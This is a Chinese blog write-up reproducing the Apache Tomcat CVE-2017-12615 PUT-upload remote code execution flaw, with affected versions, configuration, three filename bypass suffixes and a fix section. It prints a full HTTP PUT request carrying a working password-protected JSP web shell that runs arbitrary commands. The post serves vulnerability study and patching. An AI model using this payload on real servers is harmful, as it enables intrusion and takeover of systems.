首页 » NetworkSec » Penetration » 正文

Tomcat cve-2017-12615 漏洞重现

0x00 概述

9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,分别为CVE-2017-12615和CVE-2017-12616。

Cve-2017-12615为远程代码执行,当 Tomcat启用了HTTP PUT请求(默认关闭),攻击者可通过构造的恶意请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

Cve-2017-12616为信息泄漏,当Tomcat中启用了 VirtualDirContext时(7.x默认无),攻击者将能通过发送构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而造成源码信息泄露。

 

0x01 影响范围

CVE-2017-12615: Apache Tomcat 7.0.0 – 7.0.79 (windows)

CVE-2017-12616:Apache Tomcat 7.0.0 – 7.0.80

 

0x02 12615重现

环境win7+tomcat7.0.56

手动使readonly为false,在web.xml配置,如下:

<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>

    <init-param>

​            <param-name>readonly</param-name>

​            <param-value>false</param-value>

    </init-param>

</servlet>

再put数据,三种姿势

xxx.jsp%20

xxx.jsp::$DATA

xxx.jsp/

这里测试第三种,

Put数据包如下:

PUT /conn.jsp/ HTTP/1.1
Host: 192.168.43.173:8082
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

<%
    if("111".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("c")).getInputStream();
        int x = -1;
        byte[] y = new byte[2048];
        out.print("<pre>");
        while((x=in.read(y))!=-1){
            out.println(new String(y));
        }
        out.print("</pre>");
    }
%>

看看服务器

成功PUT文件conn.jsp

执行命令

重现成功!

经本人测试,此姿势在tomcat最新版7.0.81也有效!

0x03 修复方案

  • 升级到最新版本
  • 配置readonly和VirtualDirContext值为Ture
  • 尽量禁put

 

0x04 结语

由于配置默认关闭了readonly和无VirtualDirContext,而且要手动添加,导致这两个漏洞很鸡肋,但是影响很广,危害巨大。

 

0x05 参考资料

www.freebuf.com/vuls/148283.html

www.4hou.com/vulnerable/7743.html

https://xianzhi.aliyun.com/forum/read.php?tid=2135&displayMode=1&page=1&toread=1#tpc

https://xianzhi.aliyun.com/forum/read/2136.html

https://www.seebug.org/vuldb/ssvid-96562

Comment